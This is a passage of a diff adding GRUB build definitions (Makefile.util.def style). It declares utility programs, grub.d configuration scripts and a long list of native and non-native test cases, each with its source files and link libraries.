     318 + ldadd = grub-core/lib/gnulib/libgnu.a;
     319 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM) -lfuse';
     320 + condition = COND_GRUB_MOUNT;
     321 +};
     322 + 
     323 +program = {
     324 + name = grub-mkfont;
     325 + mansection = 1;
     326 + common = util/grub-mkfont.c;
     327 + common = grub-core/kern/emu/argp_common.c;
     328 + common = grub-core/osdep/init.c;
     329 + 
     330 + cflags = '$(FREETYPE_CFLAGS)';
     331 + cppflags = '-DGRUB_MKFONT=1';
     332 + 
     333 + ldadd = libgrubmods.a;
     334 + ldadd = libgrubgcry.a;
     335 + ldadd = libgrubkern.a;
     336 + ldadd = grub-core/lib/gnulib/libgnu.a;
     337 + ldadd = '$(FREETYPE_LIBS)';
     338 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     339 + condition = COND_GRUB_MKFONT;
     340 +};
     341 + 
     342 +program = {
     343 + name = grub-probe;
     344 + installdir = sbin;
     345 + mansection = 8;
     346 + common = util/grub-probe.c;
     347 + common = util/probe.c;
     348 + common = grub-core/osdep/ofpath.c;
     349 + common = grub-core/kern/emu/argp_common.c;
     350 + common = grub-core/osdep/init.c;
     351 + 
     352 + ldadd = libgrubmods.a;
     353 + ldadd = libgrubgcry.a;
     354 + ldadd = libgrubkern.a;
     355 + ldadd = grub-core/lib/gnulib/libgnu.a;
     356 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBUTIL) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     357 +};
     358 + 
     359 +program = {
     360 + name = grub-bios-setup;
     361 + installdir = sbin;
     362 + mansection = 8;
     363 + common = util/grub-setup.c;
     364 + common = util/setup_bios.c;
     365 + extra_dist = util/setup.c;
     366 + common = grub-core/kern/emu/argp_common.c;
     367 + common = grub-core/lib/reed_solomon.c;
     368 + common = grub-core/osdep/blocklist.c;
     369 + extra_dist = grub-core/osdep/generic/blocklist.c;
     370 + extra_dist = grub-core/osdep/linux/blocklist.c;
     371 + extra_dist = grub-core/osdep/windows/blocklist.c;
     372 + common = grub-core/osdep/init.c;
     373 + 
     374 + ldadd = libgrubmods.a;
     375 + ldadd = libgrubkern.a;
     376 + ldadd = libgrubgcry.a;
     377 + ldadd = grub-core/lib/gnulib/libgnu.a;
     378 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBUTIL) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     379 + cppflags = '-DGRUB_SETUP_FUNC=grub_util_bios_setup';
     380 +};
     381 + 
     382 +program = {
     383 + name = grub-sparc64-setup;
     384 + installdir = sbin;
     385 + mansection = 8;
     386 + common = util/grub-setup.c;
     387 + common = util/setup_sparc.c;
     388 + common = grub-core/kern/emu/argp_common.c;
     389 + common = grub-core/lib/reed_solomon.c;
     390 + common = grub-core/osdep/ofpath.c;
     391 + common = grub-core/osdep/blocklist.c;
     392 + common = grub-core/osdep/init.c;
     393 + 
     394 + ldadd = libgrubmods.a;
     395 + ldadd = libgrubkern.a;
     396 + ldadd = libgrubgcry.a;
     397 + ldadd = grub-core/lib/gnulib/libgnu.a;
     398 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBUTIL) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     399 + cppflags = '-DGRUB_SETUP_FUNC=grub_util_sparc_setup';
     400 +};
     401 + 
     402 +program = {
     403 + name = grub-ofpathname;
     404 + installdir = sbin;
     405 + mansection = 8;
     406 + common = util/ieee1275/grub-ofpathname.c;
     407 + common = grub-core/osdep/ofpath.c;
     408 + common = grub-core/osdep/init.c;
     409 + 
     410 + ldadd = libgrubmods.a;
     411 + ldadd = libgrubgcry.a;
     412 + ldadd = libgrubkern.a;
     413 + ldadd = grub-core/lib/gnulib/libgnu.a;
     414 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBUTIL) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     415 +};
     416 + 
     417 +program = {
     418 + name = grub-mklayout;
     419 + mansection = 1;
     420 + 
     421 + common = util/grub-mklayout.c;
     422 + common = grub-core/kern/emu/argp_common.c;
     423 + common = grub-core/osdep/init.c;
     424 + 
     425 + ldadd = libgrubmods.a;
     426 + ldadd = libgrubgcry.a;
     427 + ldadd = libgrubkern.a;
     428 + ldadd = grub-core/lib/gnulib/libgnu.a;
     429 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     430 +};
     431 + 
     432 +program = {
     433 + name = grub-macbless;
     434 + installdir = sbin;
     435 + mansection = 8;
     436 + common = util/grub-macbless.c;
     437 + common = grub-core/osdep/init.c;
     438 + common = grub-core/kern/emu/argp_common.c;
     439 + 
     440 + ldadd = libgrubmods.a;
     441 + ldadd = libgrubgcry.a;
     442 + ldadd = libgrubkern.a;
     443 + ldadd = grub-core/lib/gnulib/libgnu.a;
     444 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBUTIL) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     445 +};
     446 + 
     447 +data = {
     448 + common = util/grub.d/README;
     449 + installdir = grubconf;
     450 +};
     451 + 
     452 +script = {
     453 + name = '00_header';
     454 + common = util/grub.d/00_header.in;
     455 + installdir = grubconf;
     456 +};
     457 + 
     458 +script = {
     459 + name = '01_menu_auto_hide';
     460 + common = util/grub.d/01_menu_auto_hide.in;
     461 + installdir = grubconf;
     462 +};
     463 + 
     464 +script = {
     465 + name = '01_users';
     466 + common = util/grub.d/01_users.in;
     467 + installdir = grubconf;
     468 +};
     469 + 
     470 +script = {
     471 + name = '10_windows';
     472 + common = util/grub.d/10_windows.in;
     473 + installdir = grubconf;
     474 + condition = COND_HOST_WINDOWS;
     475 +};
     476 + 
     477 +script = {
     478 + name = '10_hurd';
     479 + common = util/grub.d/10_hurd.in;
     480 + installdir = grubconf;
     481 + condition = COND_HOST_HURD;
     482 +};
     483 + 
     484 +script = {
     485 + name = '10_kfreebsd';
     486 + common = util/grub.d/10_kfreebsd.in;
     487 + installdir = grubconf;
     488 + condition = COND_HOST_KFREEBSD;
     489 +};
     490 + 
     491 +script = {
     492 + name = '10_illumos';
     493 + common = util/grub.d/10_illumos.in;
     494 + installdir = grubconf;
     495 + condition = COND_HOST_ILLUMOS;
     496 +};
     497 + 
     498 +script = {
     499 + name = '10_netbsd';
     500 + common = util/grub.d/10_netbsd.in;
     501 + installdir = grubconf;
     502 + condition = COND_HOST_NETBSD;
     503 +};
     504 + 
     505 +script = {
     506 + name = '10_linux';
     507 + common = util/grub.d/10_linux.in;
     508 + installdir = grubconf;
     509 + condition = COND_HOST_LINUX;
     510 +};
     511 + 
     512 +script = {
     513 + name = '10_linux_bls';
     514 + common = util/grub.d/10_linux_bls.in;
     515 + installdir = grubconf;
     516 + condition = COND_HOST_LINUX;
     517 +};
     518 + 
     519 +script = {
     520 + name = '10_xnu';
     521 + common = util/grub.d/10_xnu.in;
     522 + installdir = grubconf;
     523 + condition = COND_HOST_XNU;
     524 +};
     525 + 
     526 +script = {
     527 + name = '20_linux_xen';
     528 + common = util/grub.d/20_linux_xen.in;
     529 + installdir = grubconf;
     530 + condition = COND_HOST_LINUX;
     531 +};
     532 + 
     533 +script = {
     534 + name = '20_ppc_terminfo';
     535 + common = util/grub.d/20_ppc_terminfo.in;
     536 + installdir = grubconf;
     537 + condition = COND_HOST_LINUX;
     538 +};
     539 + 
     540 +script = {
     541 + name = '30_os-prober';
     542 + common = util/grub.d/30_os-prober.in;
     543 + installdir = grubconf;
     544 +};
     545 + 
     546 +script = {
     547 + name = '30_uefi-firmware';
     548 + common = util/grub.d/30_uefi-firmware.in;
     549 + installdir = grubconf;
     550 +};
     551 + 
     552 +script = {
     553 + name = '40_custom';
     554 + common = util/grub.d/40_custom.in;
     555 + installdir = grubconf;
     556 +};
     557 + 
     558 +script = {
     559 + name = '41_custom';
     560 + common = util/grub.d/41_custom.in;
     561 + installdir = grubconf;
     562 +};
     563 + 
     564 +program = {
     565 + mansection = 1;
     566 + name = grub-mkrescue;
     567 + 
     568 + common = util/grub-mkrescue.c;
     569 + common = util/render-label.c;
     570 + common = util/glue-efi.c;
     571 + common = util/mkimage.c;
     572 + common = util/grub-mkimage32.c;
     573 + common = util/grub-mkimage64.c;
     574 + common = util/grub-install-common.c;
     575 + common = util/setup_bios.c;
     576 + common = util/setup_sparc.c;
     577 + common = grub-core/lib/reed_solomon.c;
     578 + common = grub-core/osdep/random.c;
     579 + common = grub-core/osdep/ofpath.c;
     580 + common = grub-core/osdep/platform.c;
     581 + common = grub-core/osdep/platform_unix.c;
     582 + common = grub-core/osdep/compress.c;
     583 + extra_dist = grub-core/osdep/unix/compress.c;
     584 + extra_dist = grub-core/osdep/basic/compress.c;
     585 + common = util/editenv.c;
     586 + common = grub-core/osdep/blocklist.c;
     587 + common = grub-core/osdep/config.c;
     588 + common = util/config.c;
     589 + 
     590 + common = grub-core/kern/emu/hostfs.c;
     591 + common = grub-core/disk/host.c;
     592 + 
     593 + common = util/resolve.c;
     594 + 
     595 + common = grub-core/kern/emu/argp_common.c;
     596 + common = grub-core/osdep/init.c;
     597 + 
     598 + ldadd = '$(LIBLZMA)';
     599 + ldadd = libgrubmods.a;
     600 + ldadd = libgrubgcry.a;
     601 + ldadd = libgrubkern.a;
     602 + ldadd = grub-core/lib/gnulib/libgnu.a;
     603 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBUTIL) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     604 + 
     605 + condition = COND_HAVE_EXEC;
     606 +};
     607 + 
     608 +program = {
     609 + mansection = 1;
     610 + name = grub-mkstandalone;
     611 + common = util/grub-mkstandalone.c;
     612 + 
     613 + common = util/render-label.c;
     614 + common = util/glue-efi.c;
     615 + common = util/mkimage.c;
     616 + common = util/grub-mkimage32.c;
     617 + common = util/grub-mkimage64.c;
     618 + common = util/grub-install-common.c;
     619 + common = util/setup_bios.c;
     620 + common = util/setup_sparc.c;
     621 + common = grub-core/lib/reed_solomon.c;
     622 + common = grub-core/osdep/random.c;
     623 + common = grub-core/osdep/ofpath.c;
     624 + common = grub-core/osdep/platform.c;
     625 + common = grub-core/osdep/platform_unix.c;
     626 + extra_dist = grub-core/osdep/linux/platform.c;
     627 + extra_dist = grub-core/osdep/windows/platform.c;
     628 + extra_dist = grub-core/osdep/basic/platform.c;
     629 + extra_dist = grub-core/osdep/basic/no_platform.c;
     630 + extra_dist = grub-core/osdep/unix/platform.c;
     631 + common = grub-core/osdep/compress.c;
     632 + common = util/editenv.c;
     633 + common = grub-core/osdep/blocklist.c;
     634 + common = grub-core/osdep/config.c;
     635 + common = util/config.c;
     636 + 
     637 + common = grub-core/kern/emu/hostfs.c;
     638 + common = grub-core/disk/host.c;
     639 + 
     640 + common = util/resolve.c;
     641 + 
     642 + common = grub-core/kern/emu/argp_common.c;
     643 + common = grub-core/osdep/init.c;
     644 + 
     645 + ldadd = '$(LIBLZMA)';
     646 + ldadd = libgrubmods.a;
     647 + ldadd = libgrubgcry.a;
     648 + ldadd = libgrubkern.a;
     649 + ldadd = grub-core/lib/gnulib/libgnu.a;
     650 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBUTIL) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     651 +};
     652 + 
     653 +program = {
     654 + mansection = 8;
     655 + installdir = sbin;
     656 + name = grub-install;
     657 + 
     658 + common = util/grub-install.c;
     659 + common = util/probe.c;
     660 + common = util/mkimage.c;
     661 + common = util/grub-mkimage32.c;
     662 + common = util/grub-mkimage64.c;
     663 + common = util/grub-install-common.c;
     664 + common = util/setup_bios.c;
     665 + common = util/setup_sparc.c;
     666 + common = grub-core/lib/reed_solomon.c;
     667 + common = grub-core/osdep/random.c;
     668 + common = grub-core/osdep/ofpath.c;
     669 + common = grub-core/osdep/platform.c;
     670 + common = grub-core/osdep/platform_unix.c;
     671 + common = grub-core/osdep/compress.c;
     672 + common = util/editenv.c;
     673 + common = grub-core/osdep/blocklist.c;
     674 + common = grub-core/osdep/config.c;
     675 + common = util/config.c;
     676 + common = util/render-label.c;
     677 + common = grub-core/kern/emu/hostfs.c;
     678 + common = grub-core/disk/host.c;
     679 + 
     680 + common = util/resolve.c;
     681 + common = grub-core/kern/emu/argp_common.c;
     682 + common = grub-core/osdep/init.c;
     683 + 
     684 + ldadd = '$(LIBLZMA)';
     685 + ldadd = libgrubmods.a;
     686 + ldadd = libgrubgcry.a;
     687 + ldadd = libgrubkern.a;
     688 + ldadd = grub-core/lib/gnulib/libgnu.a;
     689 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBUTIL) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     690 +};
     691 + 
     692 +program = {
     693 + mansection = 1;
     694 + installdir = bin;
     695 + name = grub-mknetdir;
     696 + 
     697 + common = util/grub-mknetdir.c;
     698 + 
     699 + common = util/mkimage.c;
     700 + common = util/grub-mkimage32.c;
     701 + common = util/grub-mkimage64.c;
     702 + common = util/grub-install-common.c;
     703 + common = util/setup_bios.c;
     704 + common = util/setup_sparc.c;
     705 + common = grub-core/lib/reed_solomon.c;
     706 + common = grub-core/osdep/random.c;
     707 + common = grub-core/osdep/ofpath.c;
     708 + common = grub-core/osdep/platform.c;
     709 + common = grub-core/osdep/platform_unix.c;
     710 + common = grub-core/osdep/compress.c;
     711 + common = util/editenv.c;
     712 + common = grub-core/osdep/blocklist.c;
     713 + common = grub-core/osdep/config.c;
     714 + common = util/config.c;
     715 + 
     716 + common = util/resolve.c;
     717 + common = grub-core/kern/emu/argp_common.c;
     718 + common = grub-core/osdep/init.c;
     719 + 
     720 + ldadd = '$(LIBLZMA)';
     721 + ldadd = libgrubmods.a;
     722 + ldadd = libgrubgcry.a;
     723 + ldadd = libgrubkern.a;
     724 + ldadd = grub-core/lib/gnulib/libgnu.a;
     725 + ldadd = '$(LIBINTL) $(LIBDEVMAPPER) $(LIBUTIL) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     726 +};
     727 + 
     728 +script = {
     729 + name = grub-mkconfig;
     730 + common = util/grub-mkconfig.in;
     731 + mansection = 8;
     732 + installdir = sbin;
     733 +};
     734 + 
     735 +script = {
     736 + name = grub-get-kernel-settings;
     737 + common = util/grub-get-kernel-settings.in;
     738 + mansection = 3;
     739 + installdir = sbin;
     740 +};
     741 + 
     742 +script = {
     743 + name = grub-set-default;
     744 + common = util/grub-set-default.in;
     745 + mansection = 8;
     746 + installdir = sbin;
     747 +};
     748 + 
     749 +script = {
     750 + name = grub-reboot;
     751 + common = util/grub-reboot.in;
     752 + mansection = 8;
     753 + installdir = sbin;
     754 +};
     755 + 
     756 +script = {
     757 + name = grub-set-password;
     758 + common = util/grub-set-password.in;
     759 + mansection = 8;
     760 + installdir = sbin;
     761 +};
     762 + 
     763 +script = {
     764 + name = grub-mkconfig_lib;
     765 + common = util/grub-mkconfig_lib.in;
     766 + installdir = noinst;
     767 +};
     768 + 
     769 +script = {
     770 + name = grub-kbdcomp;
     771 + common = util/grub-kbdcomp.in;
     772 + mansection = 1;
     773 +};
     774 + 
     775 +script = {
     776 + name = grub-shell;
     777 + common = tests/util/grub-shell.in;
     778 + installdir = noinst;
     779 +};
     780 + 
     781 +script = {
     782 + name = grub-shell-tester;
     783 + common = tests/util/grub-shell-tester.in;
     784 + installdir = noinst;
     785 +};
     786 + 
     787 +script = {
     788 + name = grub-fs-tester;
     789 + common = tests/util/grub-fs-tester.in;
     790 + installdir = noinst;
     791 + dependencies = 'garbage-gen$(BUILD_EXEEXT)';
     792 +};
     793 + 
     794 +script = {
     795 + testcase = native;
     796 + name = ext234_test;
     797 + common = tests/ext234_test.in;
     798 +};
     799 + 
     800 +script = {
     801 + testcase = native;
     802 + name = squashfs_test;
     803 + common = tests/squashfs_test.in;
     804 +};
     805 + 
     806 +script = {
     807 + testcase = native;
     808 + name = iso9660_test;
     809 + common = tests/iso9660_test.in;
     810 +};
     811 + 
     812 +script = {
     813 + testcase = native;
     814 + name = hfsplus_test;
     815 + common = tests/hfsplus_test.in;
     816 +};
     817 + 
     818 +script = {
     819 + testcase = native;
     820 + name = ntfs_test;
     821 + common = tests/ntfs_test.in;
     822 +};
     823 + 
     824 +script = {
     825 + testcase = native;
     826 + name = reiserfs_test;
     827 + common = tests/reiserfs_test.in;
     828 +};
     829 + 
     830 +script = {
     831 + testcase = native;
     832 + name = fat_test;
     833 + common = tests/fat_test.in;
     834 +};
     835 + 
     836 +script = {
     837 + testcase = native;
     838 + name = minixfs_test;
     839 + common = tests/minixfs_test.in;
     840 +};
     841 + 
     842 +script = {
     843 + testcase = native;
     844 + name = xfs_test;
     845 + common = tests/xfs_test.in;
     846 +};
     847 + 
     848 +script = {
     849 + testcase = native;
     850 + name = f2fs_test;
     851 + common = tests/f2fs_test.in;
     852 +};
     853 + 
     854 +script = {
     855 + testcase = native;
     856 + name = nilfs2_test;
     857 + common = tests/nilfs2_test.in;
     858 +};
     859 + 
     860 +script = {
     861 + testcase = native;
     862 + name = romfs_test;
     863 + common = tests/romfs_test.in;
     864 +};
     865 + 
     866 +script = {
     867 + testcase = native;
     868 + name = exfat_test;
     869 + common = tests/exfat_test.in;
     870 +};
     871 + 
     872 +script = {
     873 + testcase = native;
     874 + name = tar_test;
     875 + common = tests/tar_test.in;
     876 +};
     877 + 
     878 +script = {
     879 + testcase = native;
     880 + name = udf_test;
     881 + common = tests/udf_test.in;
     882 +};
     883 + 
     884 +script = {
     885 + testcase = native;
     886 + name = hfs_test;
     887 + common = tests/hfs_test.in;
     888 +};
     889 + 
     890 +script = {
     891 + testcase = native;
     892 + name = jfs_test;
     893 + common = tests/jfs_test.in;
     894 +};
     895 + 
     896 +script = {
     897 + testcase = native;
     898 + name = btrfs_test;
     899 + common = tests/btrfs_test.in;
     900 +};
     901 + 
     902 +script = {
     903 + testcase = native;
     904 + name = zfs_test;
     905 + common = tests/zfs_test.in;
     906 +};
     907 + 
     908 +script = {
     909 + testcase = native;
     910 + name = cpio_test;
     911 + common = tests/cpio_test.in;
     912 +};
     913 + 
     914 +script = {
     915 + testcase = native;
     916 + name = example_scripted_test;
     917 + common = tests/example_scripted_test.in;
     918 +};
     919 + 
     920 +script = {
     921 + testcase = native;
     922 + name = gettext_strings_test;
     923 + common = tests/gettext_strings_test.in;
     924 + extra_dist = po/exclude.pot;
     925 +};
     926 + 
     927 +script = {
     928 + testcase = nonnative;
     929 + name = pata_test;
     930 + common = tests/pata_test.in;
     931 +};
     932 + 
     933 +script = {
     934 + testcase = nonnative;
     935 + name = ahci_test;
     936 + common = tests/ahci_test.in;
     937 +};
     938 + 
     939 +script = {
     940 + testcase = nonnative;
     941 + name = uhci_test;
     942 + common = tests/uhci_test.in;
     943 +};
     944 + 
     945 +script = {
     946 + testcase = nonnative;
     947 + name = ohci_test;
     948 + common = tests/ohci_test.in;
     949 +};
     950 + 
     951 +script = {
     952 + testcase = nonnative;
     953 + name = ehci_test;
     954 + common = tests/ehci_test.in;
     955 +};
     956 + 
     957 +script = {
     958 + testcase = nonnative;
     959 + name = example_grub_script_test;
     960 + common = tests/example_grub_script_test.in;
     961 +};
     962 + 
     963 +script = {
     964 + testcase = nonnative;
     965 + name = grub_script_eval;
     966 + common = tests/grub_script_eval.in;
     967 +};
     968 + 
     969 +script = {
     970 + testcase = nonnative;
     971 + name = grub_script_test;
     972 + common = tests/grub_script_test.in;
     973 +};
     974 + 
     975 +script = {
     976 + testcase = nonnative;
     977 + name = grub_script_echo1;
     978 + common = tests/grub_script_echo1.in;
     979 +};
     980 + 
     981 +script = {
     982 + testcase = nonnative;
     983 + name = grub_script_leading_whitespace;
     984 + common = tests/grub_script_leading_whitespace.in;
     985 +};
     986 + 
     987 +script = {
     988 + testcase = nonnative;
     989 + name = grub_script_echo_keywords;
     990 + common = tests/grub_script_echo_keywords.in;
     991 +};
     992 + 
     993 +script = {
     994 + testcase = nonnative;
     995 + name = grub_script_vars1;
     996 + common = tests/grub_script_vars1.in;
     997 +};
     998 + 
     999 +script = {
     1000 + testcase = nonnative;
     1001 + name = grub_script_for1;
     1002 + common = tests/grub_script_for1.in;
     1003 +};
     1004 + 
     1005 +script = {
     1006 + testcase = nonnative;
     1007 + name = grub_script_while1;
     1008 + common = tests/grub_script_while1.in;
     1009 +};
     1010 + 
     1011 +script = {
     1012 + testcase = nonnative;
     1013 + name = grub_script_if;
     1014 + common = tests/grub_script_if.in;
     1015 +};
     1016 + 
     1017 +script = {
     1018 + testcase = native;
     1019 + name = grub_script_blanklines;
     1020 + common = tests/grub_script_blanklines.in;
     1021 +};
     1022 + 
     1023 +script = {
     1024 + testcase = native;
     1025 + name = grub_script_final_semicolon;
     1026 + common = tests/grub_script_final_semicolon.in;
     1027 +};
     1028 + 
     1029 +script = {
     1030 + testcase = native;
     1031 + name = grub_script_dollar;
     1032 + common = tests/grub_script_dollar.in;
     1033 +};
     1034 + 
     1035 +script = {
     1036 + testcase = nonnative;
     1037 + name = grub_script_comments;
     1038 + common = tests/grub_script_comments.in;
     1039 +};
     1040 + 
     1041 +script = {
     1042 + testcase = nonnative;
     1043 + name = grub_script_functions;
     1044 + common = tests/grub_script_functions.in;
     1045 +};
     1046 + 
     1047 +script = {
     1048 + testcase = nonnative;
     1049 + name = grub_script_break;
     1050 + common = tests/grub_script_break.in;
     1051 +};
     1052 + 
     1053 +script = {
     1054 + testcase = nonnative;
     1055 + name = grub_script_continue;
     1056 + common = tests/grub_script_continue.in;
     1057 +};
     1058 + 
     1059 +script = {
     1060 + testcase = nonnative;
     1061 + name = grub_script_shift;
     1062 + common = tests/grub_script_shift.in;
     1063 +};
     1064 + 
     1065 +script = {
     1066 + testcase = nonnative;
     1067 + name = grub_script_blockarg;
     1068 + common = tests/grub_script_blockarg.in;
     1069 +};
     1070 + 
     1071 +script = {
     1072 + testcase = nonnative;
     1073 + name = grub_script_setparams;
     1074 + common = tests/grub_script_setparams.in;
     1075 +};
     1076 + 
     1077 +script = {
     1078 + testcase = nonnative;
     1079 + name = grub_script_return;
     1080 + common = tests/grub_script_return.in;
     1081 +};
     1082 + 
     1083 +script = {
     1084 + testcase = nonnative;
     1085 + name = grub_cmd_regexp;
     1086 + common = tests/grub_cmd_regexp.in;
     1087 +};
     1088 + 
     1089 +script = {
     1090 + testcase = nonnative;
     1091 + name = grub_cmd_date;
     1092 + common = tests/grub_cmd_date.in;
     1093 +};
     1094 + 
     1095 +script = {
     1096 + testcase = nonnative;
     1097 + name = grub_cmd_set_date;
     1098 + common = tests/grub_cmd_set_date.in;
     1099 +};
     1100 + 
     1101 +script = {
     1102 + testcase = nonnative;
     1103 + name = grub_cmd_sleep;
     1104 + common = tests/grub_cmd_sleep.in;
     1105 +};
     1106 + 
     1107 +script = {
     1108 + testcase = nonnative;
     1109 + name = grub_script_expansion;
     1110 + common = tests/grub_script_expansion.in;
     1111 +};
     1112 + 
     1113 +script = {
     1114 + testcase = nonnative;
     1115 + name = grub_script_not;
     1116 + common = tests/grub_script_not.in;
     1117 +};
     1118 + 
     1119 +script = {
     1120 + testcase = native;
     1121 + name = grub_script_no_commands;
     1122 + common = tests/grub_script_no_commands.in;
     1123 +};
     1124 + 
     1125 +script = {
     1126 + testcase = nonnative;
     1127 + name = partmap_test;
     1128 + common = tests/partmap_test.in;
     1129 +};
     1130 + 
     1131 +script = {
     1132 + testcase = nonnative;
     1133 + name = hddboot_test;
     1134 + common = tests/hddboot_test.in;
     1135 +};
     1136 + 
     1137 +script = {
     1138 + testcase = nonnative;
     1139 + name = fddboot_test;
     1140 + common = tests/fddboot_test.in;
     1141 +};
     1142 + 
     1143 +script = {
     1144 + testcase = nonnative;
     1145 + name = cdboot_test;
     1146 + common = tests/cdboot_test.in;
     1147 +};
     1148 + 
     1149 +script = {
     1150 + testcase = nonnative;
     1151 + name = netboot_test;
     1152 + common = tests/netboot_test.in;
     1153 +};
     1154 + 
     1155 +script = {
     1156 + testcase = nonnative;
     1157 + name = pseries_test;
     1158 + common = tests/pseries_test.in;
     1159 +};
     1160 + 
     1161 +script = {
     1162 + testcase = nonnative;
     1163 + name = core_compress_test;
     1164 + common = tests/core_compress_test.in;
     1165 +};
     1166 + 
     1167 +script = {
     1168 + testcase = nonnative;
     1169 + name = xzcompress_test;
     1170 + common = tests/xzcompress_test.in;
     1171 +};
     1172 + 
     1173 +script = {
     1174 + testcase = nonnative;
     1175 + name = gzcompress_test;
     1176 + common = tests/gzcompress_test.in;
     1177 +};
     1178 + 
     1179 +script = {
     1180 + testcase = nonnative;
     1181 + name = lzocompress_test;
     1182 + common = tests/lzocompress_test.in;
     1183 +};
     1184 + 
     1185 +script = {
     1186 + testcase = nonnative;
     1187 + name = grub_cmd_echo;
     1188 + common = tests/grub_cmd_echo.in;
     1189 +};
     1190 + 
     1191 +script = {
     1192 + testcase = nonnative;
     1193 + name = help_test;
     1194 + common = tests/help_test.in;
     1195 +};
     1196 + 
     1197 +script = {
     1198 + testcase = nonnative;
     1199 + name = grub_script_gettext;
     1200 + common = tests/grub_script_gettext.in;
     1201 +};
     1202 + 
     1203 +script = {
     1204 + testcase = nonnative;
     1205 + name = grub_script_escape_comma;
     1206 + common = tests/grub_script_escape_comma.in;
     1207 +};
     1208 + 
     1209 +script = {
     1210 + testcase = nonnative;
     1211 + name = grub_script_strcmp;
     1212 + common = tests/grub_script_strcmp.in;
     1213 +};
     1214 + 
     1215 +script = {
     1216 + testcase = nonnative;
     1217 + name = test_sha512sum;
     1218 + common = tests/test_sha512sum.in;
     1219 +};
     1220 + 
     1221 +script = {
     1222 + testcase = nonnative;
     1223 + name = test_unset;
     1224 + common = tests/test_unset.in;
     1225 +};
     1226 + 
     1227 +script = {
     1228 + testcase = nonnative;
     1229 + name = grub_func_test;
     1230 + common = tests/grub_func_test.in;
     1231 +};
     1232 + 
     1233 +script = {
     1234 + testcase = nonnative;
     1235 + name = grub_cmd_tr;
     1236 + common = tests/grub_cmd_tr.in;
     1237 +};
     1238 + 
     1239 +script = {
     1240 + testcase = nonnative;
     1241 + name = file_filter_test;
     1242 + common = tests/file_filter_test.in;
     1243 +};
     1244 + 
     1245 +script = {
     1246 + testcase = nonnative;
     1247 + name = grub_cmd_test;
     1248 + common = tests/grub_cmd_test.in;
     1249 +};
     1250 + 
     1251 +script = {
     1252 + testcase = native;
     1253 + name = syslinux_test;
     1254 + common = tests/syslinux_test.in;
     1255 +};
     1256 + 
     1257 +program = {
     1258 + testcase = native;
     1259 + name = example_unit_test;
     1260 + common = tests/example_unit_test.c;
     1261 + common = tests/lib/unit_test.c;
     1262 + common = grub-core/kern/list.c;
     1263 + common = grub-core/kern/misc.c;
     1264 + common = grub-core/tests/lib/test.c;
     1265 + ldadd = libgrubmods.a;
     1266 + ldadd = libgrubgcry.a;
     1267 + ldadd = libgrubkern.a;
     1268 + ldadd = grub-core/lib/gnulib/libgnu.a;
     1269 + ldadd = '$(LIBDEVMAPPER) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     1270 +};
     1271 + 
     1272 +program = {
     1273 + testcase = native;
     1274 + name = printf_test;
     1275 + common = tests/printf_unit_test.c;
     1276 + common = tests/lib/unit_test.c;
     1277 + common = grub-core/kern/list.c;
     1278 + common = grub-core/kern/misc.c;
     1279 + common = grub-core/tests/lib/test.c;
     1280 + ldadd = libgrubmods.a;
     1281 + ldadd = libgrubgcry.a;
     1282 + ldadd = libgrubkern.a;
     1283 + ldadd = grub-core/lib/gnulib/libgnu.a;
     1284 + ldadd = '$(LIBDEVMAPPER) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     1285 +};
     1286 + 
     1287 +program = {
     1288 + testcase = native;
     1289 + name = date_test;
     1290 + common = tests/date_unit_test.c;
     1291 + common = tests/lib/unit_test.c;
     1292 + common = grub-core/kern/list.c;
     1293 + common = grub-core/kern/misc.c;
     1294 + common = grub-core/tests/lib/test.c;
     1295 + ldadd = libgrubmods.a;
     1296 + ldadd = libgrubgcry.a;
     1297 + ldadd = libgrubkern.a;
     1298 + ldadd = grub-core/lib/gnulib/libgnu.a;
     1299 + ldadd = '$(LIBDEVMAPPER) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     1300 +};
     1301 + 
     1302 +program = {
     1303 + testcase = native;
     1304 + name = priority_queue_unit_test;
     1305 + common = tests/priority_queue_unit_test.cc;
     1306 + common = tests/lib/unit_test.c;
     1307 + common = grub-core/kern/list.c;
     1308 + common = grub-core/kern/misc.c;
     1309 + common = grub-core/tests/lib/test.c;
     1310 + common = grub-core/lib/priority_queue.c;
     1311 + ldadd = libgrubmods.a;
     1312 + ldadd = libgrubgcry.a;
     1313 + ldadd = libgrubkern.a;
     1314 + ldadd = grub-core/lib/gnulib/libgnu.a;
     1315 + ldadd = '$(LIBDEVMAPPER) $(LIBZFS) $(LIBNVPAIR) $(LIBGEOM)';
     1316 + condition = COND_HAVE_CXX;
     1317 +};
     1318 + 
     1319 +program = {
     1320 + testcase = native;
     1321 + name = cmp_test;
     1322 + common = tests/cmp_unit_test.c;
     1323 + common = tests/lib/unit_test.c;
     1324 + common = grub-core/kern/list.c;
     1325 + common = grub-core/kern/misc.c;
     1326 + common = grub-core/tests/lib/test.c;
     1327 + ldadd = libgrubmods.a;
     1328 + ldadd = libgrubgcry.a;
     1329 + ldadd = libgrubkern.a;
     1330 + ldadd = grub-core/lib/gnulib/libgnu.a;
